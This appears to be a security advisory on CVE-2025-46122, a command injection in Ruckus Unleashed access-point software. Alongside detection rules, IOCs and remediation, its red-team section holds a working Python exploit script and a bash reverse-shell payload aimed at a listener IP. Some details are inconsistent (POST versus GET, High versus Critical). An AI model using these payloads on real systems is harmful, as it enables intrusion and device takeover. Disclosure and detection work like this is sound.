CVE-2025-46122

Executive Summary

CVE-2025-46122 is a critical OS command injection vulnerability in CommScope Ruckus Unleashed access point management software. The flaw resides in the authenticated diagnostics API endpoint /admin/_cmdstat.jsp, which passes attacker-controlled input (specifically a MAC address parameter) directly to the operating system shell without adequate sanitization or validation. A remote attacker with valid credentials can exploit this to execute arbitrary commands as root, leading to full device compromise, lateral movement within the network, and potential data exfiltration.

The vulnerability affects all versions prior to 200.15.6.212.14 and 200.17.7.0.139. Given the widespread deployment of Ruckus Unleashed in enterprise, education, and hospitality environments, this poses a significant risk. The EPSS score is currently 0.0%, but public proof-of-concept code is available, increasing the likelihood of active exploitation.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in a proprietary embedded system (Ruckus Unleashed). However, organizations should verify the integrity of firmware downloads from CommScope and ensure that only signed, official images are deployed.

CVSS Breakdown & Threat Level

CVSS Score: 8.8 (High) Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network – The vulnerability is exploitable remotely over the network.
• Attack Complexity (AC): Low – No special conditions or race conditions are required.
• Privileges Required (PR): Low – An attacker needs valid credentials (e.g., admin or operator account).
• User Interaction (UI): None – No user action is required beyond the attacker’s own actions.
• Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High – Full read access to the device filesystem and network traffic.
• Integrity (I): High – Full write access to the device, including firmware modification.
• Availability (A): High – Ability to crash the device or disrupt wireless services.

Threat Level: Critical. The combination of low attack complexity, network accessibility, and root-level command execution makes this a prime target for ransomware groups, botnets, and APTs.

Deep Dive & Mechanics

The vulnerability exists in the _cmdstat.jsp page, which is part of the diagnostics API. This endpoint is intended to allow administrators to run diagnostic commands (e.g., ping, traceroute) against a specified target MAC address. The flaw is that the MAC address parameter is passed directly to a shell command without proper escaping or validation.

Root Cause: The JSP page likely constructs a shell command similar to:

ping -c 4 $MAC_ADDRESS

If an attacker provides a MAC address like 00:11:22:33:44:55; id, the shell interprets the semicolon as a command separator, executing id after the ping command.

Attack Flow:

1. Attacker authenticates to the Ruckus Unleashed web interface (default credentials or stolen/brute-forced).
2. Attacker sends a crafted POST request to /admin/_cmdstat.jsp with a malicious MAC address parameter.
3. The server executes the injected command as root.
4. Attacker establishes a reverse shell, installs persistence, or exfiltrates data.

Affected Component: The _cmdstat.jsp endpoint is part of the diagnostics API. It is typically accessible only to authenticated users, but the lack of input validation allows privilege escalation from a low-privileged account to root.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

String mac = request.getParameter("mac");
String cmd = "ping -c 4 " + mac;
Runtime.getRuntime().exec(cmd);

Patched Code (Conceptual):

String mac = request.getParameter("mac");
if (!mac.matches("^([0-9A-Fa-f]{2}[:-]){5}([0-9A-Fa-f]{2})$")) {
    throw new SecurityException("Invalid MAC address");
}
String cmd = "ping -c 4 " + mac;
Runtime.getRuntime().exec(cmd);

The patch adds a strict regex validation to ensure only valid MAC address formats are accepted, preventing shell injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A vulnerable Ruckus Unleashed device (version < 200.15.6.212.14 or < 200.17.7.0.139).
• Valid credentials (e.g., admin/admin or obtained via brute-force).
• Network access to the device’s web interface (typically port 80 or 443).

Exploit Script (Python):

import requests
import sys

if len(sys.argv) != 4:
    print(f"Usage: {sys.argv[0]} <target_ip> <username> <password>")
    sys.exit(1)

target = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]

# Authenticate
session = requests.Session()
login_url = f"http://{target}/admin/login.jsp"
payload = {"username": username, "password": password}
session.post(login_url, data=payload)

# Command injection
cmd = "id"
mac_payload = f"00:11:22:33:44:55;{cmd}"
exploit_url = f"http://{target}/admin/_cmdstat.jsp"
params = {"mac": mac_payload}
response = session.get(exploit_url, params=params)
print(response.text)

Reverse Shell Payload:

# Replace with your listener IP and port
mac=00:11:22:33:44:55;bash -i >& /dev/tcp/192.168.1.100/4444 0>&1

Lab Setup:

1. Deploy a vulnerable Ruckus Unleashed VM or physical device in an isolated network.
2. Set up a Kali Linux attacker machine on the same network.
3. Run the exploit script to verify command execution.
4. Use a netcat listener to catch the reverse shell.

Blue Team

Detection Steps:

1. Monitor web server logs for unusual POST requests to /admin/_cmdstat.jsp containing shell metacharacters (;, |, &, $, `).
2. Alert on authentication attempts from unusual IPs or at unusual times.
3. Monitor for outbound connections from the Ruckus device to unknown IPs on high ports (e.g., 4444, 1337).
4. Check for unauthorized SSH or telnet sessions originating from the device.

Honeypot Strategy:

• Deploy a fake Ruckus Unleashed instance using a honeypot framework (e.g., Cowrie) to capture attacker behavior.
• Log all requests to _cmdstat.jsp and analyze payloads for IOCs.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /admin/_cmdstat.jsp with parameters containing shell metacharacters.
• Outbound connections from the Ruckus device to IPs on non-standard ports (e.g., 4444, 1337, 31337).
• DNS queries to domains associated with C2 infrastructure.

File IOCs:

• Unexpected files in /tmp/ or /var/run/ on the device (e.g., exploit.sh, reverse.sh).
• Modified system binaries (e.g., /bin/sh, /usr/sbin/sshd).
• New cron jobs in /etc/crontab or /var/spool/cron/.

Process IOCs:

• Unusual processes running as root, such as bash, python, perl, or nc.
• Multiple instances of ping or traceroute spawned in quick succession.

YARA Rule:

rule CVE_2025_46122_Exploit {
    meta:
        description = "Detects exploit attempts for CVE-2025-46122 in web logs"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $cmd_inject = /mac=[0-9a-fA-F:]{17}[;&|`$]/
        $shell_cmd = /(;|\||`|\$\().*/
    condition:
        $cmd_inject or $shell_cmd
}

Detection Engineering

Sigma Rule

title: CVE-2025-46122 Ruckus Unleashed Command Injection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests to /admin/_cmdstat.jsp with shell metacharacters
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: "/admin/_cmdstat.jsp"
        cs-uri-query|re: "mac=.*[;&|`$]"
    condition: selection
falsepositives:
    - Legitimate diagnostic commands with special characters (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-46122 Ruckus Unleashed Command Injection"; flow:to_server,established; content:"/admin/_cmdstat.jsp"; http_uri; pcre:"/mac=[0-9a-fA-F:]{17}[;&|`$]/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

YARA Rule (for log analysis)

rule CVE_2025_46122_Logs {
    meta:
        description = "Detects CVE-2025-46122 exploit attempts in web server logs"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $uri = "/admin/_cmdstat.jsp"
        $inject = /mac=[0-9a-fA-F:]{17}[;&|`$]/
    condition:
        $uri and $inject
}

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade to version 200.15.6.212.14 or 200.17.7.0.139 immediately.
2. Workaround: If patching is not possible, restrict access to the web interface using firewall rules (allow only trusted IPs).
3. Disable Diagnostics: If the diagnostics API is not required, block access to /admin/_cmdstat.jsp via web server configuration or reverse proxy.

Long-Term Measures:

1. Implement network segmentation to isolate Ruckus devices from critical systems.
2. Enforce strong, unique passwords for all administrative accounts.
3. Enable logging and monitoring of all administrative actions.
4. Conduct regular vulnerability scans and penetration tests.
5. Subscribe to CommScope security advisories for future updates.

Detection & Response:

• Deploy the provided Sigma and Suricata rules in your SIEM/IDS.
• Monitor for IOCs and investigate any alerts immediately.
• Have an incident response plan ready for device compromise.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert